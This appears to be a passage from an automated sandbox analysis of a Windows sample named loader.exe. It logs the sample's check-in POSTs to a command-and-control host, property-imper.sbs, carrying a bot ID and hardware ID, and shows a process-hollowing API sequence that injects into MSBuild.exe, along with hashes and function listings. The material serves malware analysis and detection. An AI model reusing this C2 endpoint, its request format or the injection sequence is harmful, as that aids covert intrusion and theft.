2024-11-23 13:09:39 UTC	15331	OUT	Data Raw: 6a 45 ae 01 c1 b4 81 e1 30 96 f7 27 f9 f3 c2 d4 9c 69 6b c3 7c 1e 7f 7b 6b f6 0a d7 8c de c2 60 a6 56 3b 52 ab bb 70 82 2a 67 23 e4 20 21 c2 e3 05 af 3b bd 30 eb 33 60 6f 9a e9 5a 48 96 3c cf d7 76 e7 36 1c 53 45 54 05 26 c7 c0 5b 93 93 b6 33 83 67 63 c4 d8 46 b3 08 17 a2 0b 0c e0 d9 35 55 50 e4 07 45 b1 39 cf 54 41 14 67 e8 83 0a d0 76 81 89 35 68 ce 94 b1 90 73 88 e6 1b 1c c7 19 09 a3 9c 79 ae a1 2a c8 10 ff df 89 b1 46 a8 ff ed 82 c9 b8 07 8a c4 11 bf ce cd 94 59 61 50 61 1f 48 a7 45 dc ae 2a 44 4b 62 5a b8 a4 b7 62 ff 8e ac 8e 45 12 66 98 66 f9 7e 22 ed c2 ec 9d e6 59 c5 bd e1 df 37 0b 3d aa 3d b3 ae 8a 6c 84 50 bb 82 7b 61 ea 57 70 2e 76 cc b7 72 dd 9a 4a e6 c1 d6 64 2c 78 22 04 ba eb 11 f6 fa e0 7c c6 d2 c1 13 12 19 c7 8f 1a de a0 ba 2a 6d 65 fb dc Data Ascii: jE0'ik\|{k`V;Rpg# !;03`oZH<v6SET&[3gcF5UPE9TAgv5hsyFYaPaHEDKbZbEff~"Y7==lP{aWp.vrJd,x"\|me
2024-11-23 13:09:41 UTC	1027	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kojn5ti4j2gq2jknpa3tkh0cal; expires=Wed, 19-Mar-2025 06:56:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DEXl4OlFTNE697iW1H8ZoSh1O0gAUCHclXhXRMhTJ%2F6P95n%2Ffzkan9wjim57laT2k4UqeRt0DaqSzJ4Ox%2FTyVFMVETuQV3Jp%2FB9XWWnlL1VfbBSOIyQ181umssSuA%2B9%2BPaxrppM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71651b5ff243df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2308&sent=338&recv=605&lost=0&retrans=0&sent_bytes=2846&recv_bytes=585202&delivery_rate=1276781&cwnd=243&unsent_bytes=0&cid=17d390c49237bf1b&ts=2368&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49738	172.67.162.84	443	7372	C:\Users\user\Desktop\loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:09:43 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: property-imper.sbs
2024-11-23 13:09:43 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 30 36 37 38 33 38 38 34 37 26 6a 3d 26 68 77 69 64 3d 31 36 44 45 31 33 38 37 31 38 45 33 45 41 35 43 30 30 41 38 32 30 41 41 38 35 44 32 36 41 37 43 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--5067838847&j=&hwid=16DE138718E3EA5C00A820AA85D26A7C
2024-11-23 13:09:43 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qc9ggemsreg3v2c0du5hh3neus; expires=Wed, 19-Mar-2025 06:56:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rosolp4Ay75uen8GU0mf6j8B03c8esTwkN6%2FwtTx8%2FfT3FTprRs3hyUlXcmjELwwiMybkD9CZ%2FV30MuhAtss63mIcwXn5iPRKSaL8AKGEI%2FNN5sqC4buDIssFKrZaLWH%2BiVGVFQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7165333a6b8c36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1779&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1605277&cwnd=173&unsent_bytes=0&cid=866d39e3673356a3&ts=726&x=0"
2024-11-23 13:09:43 UTC	54	IN	Data Raw: 33 30 0d 0a 51 67 4b 48 45 71 31 66 70 73 2f 69 5a 30 44 41 37 33 72 55 61 47 6c 6b 38 4b 54 2f 39 66 4f 51 76 49 6a 43 48 35 2b 6e 69 67 77 5a 58 77 3d 3d 0d 0a Data Ascii: 30QgKHEq1fps/iZ0DA73rUaGlk8KT/9fOQvIjCH5+nigwZXw==
2024-11-23 13:09:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:09:22
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\loader.exe"
Imagebase:	0x240000
File size:	495'104 bytes
MD5 hash:	EB9DA66B64C00BC89FE8BB984995E7DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:09:22
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:09:23
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\loader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\loader.exe"
Imagebase:	0x240000
File size:	495'104 bytes
MD5 hash:	EB9DA66B64C00BC89FE8BB984995E7DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:09:23
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\loader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\loader.exe"
Imagebase:	0x240000
File size:	495'104 bytes
MD5 hash:	EB9DA66B64C00BC89FE8BB984995E7DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:09:23
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\loader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\loader.exe"
Imagebase:	0x240000
File size:	495'104 bytes
MD5 hash:	EB9DA66B64C00BC89FE8BB984995E7DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:09:23
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\loader.exe"
Imagebase:	0x240000
File size:	495'104 bytes
MD5 hash:	EB9DA66B64C00BC89FE8BB984995E7DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0.5%
Signature Coverage:	3.5%
Total number of Nodes:	1672
Total number of Limit Nodes:	24

Executed Functions

Function 0026B18D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0026B0FF,0026B0EF), ref: 0026B323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0026B336
Wow64GetThreadContext.KERNEL32(00000138,00000000), ref: 0026B354
ReadProcessMemory.KERNELBASE(00000134,?,0026B143,00000004,00000000), ref: 0026B378
VirtualAllocEx.KERNELBASE(00000134,?,?,00003000,00000040), ref: 0026B3A3
TerminateProcess.KERNELBASE(00000134,00000000), ref: 0026B3C2
WriteProcessMemory.KERNELBASE(00000134,00000000,?,?,00000000,?), ref: 0026B3FB
WriteProcessMemory.KERNELBASE(00000134,00400000,?,?,00000000,?,00000028), ref: 0026B446
WriteProcessMemory.KERNELBASE(00000134,?,?,00000004,00000000), ref: 0026B484
Wow64SetThreadContext.KERNEL32(00000138,02F30000), ref: 0026B4C0
ResumeThread.KERNELBASE(00000138), ref: 0026B4CF

Strings

GetThreadContext, xrefs: 0026B265
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0026B322
GetP, xrefs: 0026B20D
CreateProcessW, xrefs: 0026B23F
ress, xrefs: 0026B215
ReadProcessMemory, xrefs: 0026B278
aryA, xrefs: 0026B1D1
TerminateProcess, xrefs: 0026B3B2
VirtualAllocEx, xrefs: 0026B28B
WriteProcessMemory, xrefs: 0026B29E
VirtualAlloc, xrefs: 0026B252
Load, xrefs: 0026B1C9
SetThreadContext, xrefs: 0026B2B1
ResumeThread, xrefs: 0026B2C7

Memory Dump Source

Source File: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: f3aca2335252410e4c7689d7dcb3fc30d53cfbfcb373111d5a8502e083814806
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 66B1E57660068AAFDB60CF68CC80BDA73A5FF88714F158564EA08EB341D774FA51CB94

Function 0024CD10 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e217a3dec29189bbda6bfcc5818c7a8f236c1bb05bdb118644ece89d3c546ae
Instruction ID: e87d3923dec8285b05783b01b3e8c63e0c1945c91724d950896cf891033927fd
Opcode Fuzzy Hash: 7e217a3dec29189bbda6bfcc5818c7a8f236c1bb05bdb118644ece89d3c546ae
Instruction Fuzzy Hash: 4D011474A142188FCB54EF69D885AD9F7F0EB18710F4084A9A88897340EBB4AAC4CF85

Function 00259DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,CB8E8CE7,?,00259EE2,?,?,00000000), ref: 00259E94

Strings

api-ms-, xrefs: 00259E2A
ext-ms-, xrefs: 00259E3E

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 947473c3bed25c23f4e8db050f959c3dbee4877883300d34ed3552df263238f6
Instruction ID: 41d8876306f67206abe4c00151752f22aa8f948d9475dc0f146a84a21607e455
Opcode Fuzzy Hash: 947473c3bed25c23f4e8db050f959c3dbee4877883300d34ed3552df263238f6
Instruction Fuzzy Hash: DE21EB31A10212EBC721DF60EC46B6A375CEF42BB2F250112ED16E7291DB70ED55C6D4

Function 0024BEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0024BF10

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cf3dcb9fb90917b2a3bd6e0cad39bbdac1a011f95da1797d0a4c44eb40ba4ee9
Instruction ID: ad4db5412a7b87984affbb20010b3aaee4c9ba8d77d0ec7016fd5d8c4b2da76f
Opcode Fuzzy Hash: cf3dcb9fb90917b2a3bd6e0cad39bbdac1a011f95da1797d0a4c44eb40ba4ee9
Instruction Fuzzy Hash: A4716EB4925209CFCB08DFACD5586AEFBF0EB48700F20851EF84AAB350DB7499658F51

Function 00256CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00016E00,00000000,?,?), ref: 00256D2F
GetLastError.KERNEL32(?,00000000,00000000,?,00253BEA), ref: 00256D3B
__dosmaperr.LIBCMT ref: 00256D42

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 5ea3d9d45b7108b29415c2bb99a20d4d5182cbc2b86c778459ba3ed2f754f3fe
Instruction ID: ca2190c6dd3fcdd41758ceec8e98e50ee013cbf1ab93f37141fdfc1046d9a9c2
Opcode Fuzzy Hash: 5ea3d9d45b7108b29415c2bb99a20d4d5182cbc2b86c778459ba3ed2f754f3fe
Instruction Fuzzy Hash: AC01927262120AAFDF159FA0DC0AAAE7B79EF40766F104458FC0197190DBB0DE68DB94

Function 00256FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,002570B1,002583A0,002583A0,?,00000002,CB8E8CE7,002583A0,00000002), ref: 00257000
TerminateProcess.KERNEL32(00000000,?,002570B1,002583A0,002583A0,?,00000002,CB8E8CE7,002583A0,00000002), ref: 00257007
ExitProcess.KERNEL32 ref: 00257019

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 87704eb62d95ed357f6dda1d2822a49f7eb2eb6cc9113bd757f1d26dfb138f70
Instruction ID: 77b915764eb455f8effb3361b50585e35e6b060e6f382ea9abc4847fedbf95a2
Opcode Fuzzy Hash: 87704eb62d95ed357f6dda1d2822a49f7eb2eb6cc9113bd757f1d26dfb138f70
Instruction Fuzzy Hash: AED06C31414108ABCF112F60FC4D89D3F6EAB44352B848010F90A4A161CFB599AADAA4

Function 0025A732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0025A621,0026A088,0000000C), ref: 0025A77E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0025A621,0026A088,0000000C), ref: 0025A790

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: fe94c5833c6708bf4c3fed6a902671e646cdf1365f079e72062fd977ee35e545
Instruction ID: 07e354a7d140fe849d5021b4ddf5649810f896448e8bbb7955dda31dd181624d
Opcode Fuzzy Hash: fe94c5833c6708bf4c3fed6a902671e646cdf1365f079e72062fd977ee35e545
Instruction Fuzzy Hash: BD110A711247424ACB304E3ECC8952AFAB4AB5E332B340719D9B6875F1D674D8AED24A

Function 00256E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00269D20,0000000C), ref: 00256E13
ExitThread.KERNEL32 ref: 00256E1A

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 67db699a1531d640dd2b45c60cf66374f72b79b869a3c24306359fe1d687c6ed
Instruction ID: ee58ff91c673d69c77dd786ac845fc76c753ad44aaaec7aad0edf340b2eefb18
Opcode Fuzzy Hash: 67db699a1531d640dd2b45c60cf66374f72b79b869a3c24306359fe1d687c6ed
Instruction Fuzzy Hash: BAF0AF74A20205AFDB01AFB0D84EA2E3B79FF05712F108549F8059B292DFB09965CF95

Function 0025B0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0025BC39,?,00000000,?,?,0025BB55,?,00000007,?,?,0025C16E,?,?), ref: 0025B0E1
GetLastError.KERNEL32(?,?,0025BC39,?,00000000,?,?,0025BB55,?,00000007,?,?,0025C16E,?,?), ref: 0025B0EC

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 01bda07d1e59240ee86613676b536f490fc653b8c0355eb603d3a5283e93b90d
Instruction ID: e7c3a0be43281fb174f21707d2451cb9d2686e3cba7c8449accfdfb81c5de45f
Opcode Fuzzy Hash: 01bda07d1e59240ee86613676b536f490fc653b8c0355eb603d3a5283e93b90d
Instruction Fuzzy Hash: 21E0CD3210060867CB126FA0FC0DB697F5CDB45792F108060F90CD7061CF708964CB88

Function 00253B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94eff9ccd5ebf2907201301407304fe91d75c60f449853dfbb69ea4c15810a47
Instruction ID: 30c4b81fa4fd8e96e9b7e524615fadc25b4a2e58f8188d99d0927c0181477341
Opcode Fuzzy Hash: 94eff9ccd5ebf2907201301407304fe91d75c60f449853dfbb69ea4c15810a47
Instruction Fuzzy Hash: 4E3109B0D242098FCB04DFA9C5946ADBBF0FF48346F50941AE856AB340DB759A18CF59

Function 00259E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15b57e6b3093e650a9c62f7057c50d1b4fe4a65fdf57dc4966c99f47031163ea
Instruction ID: 63a58c13ae5d8b773407c2da0bbf3fbad71817c77827e16044c7632dc7c8e358
Opcode Fuzzy Hash: 15b57e6b3093e650a9c62f7057c50d1b4fe4a65fdf57dc4966c99f47031163ea
Instruction Fuzzy Hash: 0B01F533224216EB8B028F6DFC49A667769FB813217688025FD05CB554EB70D8A49BD8

Function 0024CD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEllipticRgn.GDI32 ref: 0024CDF9

Memory Dump Source

Source File: 00000000.00000002.1664399582.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.1664383612.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664421732.0000000000263000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664438866.000000000026B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664455230.000000000026C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664470846.000000000026F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664488606.0000000000271000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_loader.jbxd

Similarity

API ID: CreateElliptic
String ID:
API String ID: 1611293138-0
Opcode ID: 3a76ad0662589dbb2fa91ae88b4b72f3cc92dce7e03964244707337d4a56a578
Instruction ID: e7a5a17d93e470c6ed70728f4b2e75d660e39b3e568e2b52ec45918adf188197
Opcode Fuzzy Hash: 3a76ad0662589dbb2fa91ae88b4b72f3cc92dce7e03964244707337d4a56a578
Instruction Fuzzy Hash: FF11D3B4D002099BCB04EFA9D4597AEFBF5EF48304F508829D855A7350EB74A658CF91

Function 0025BC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

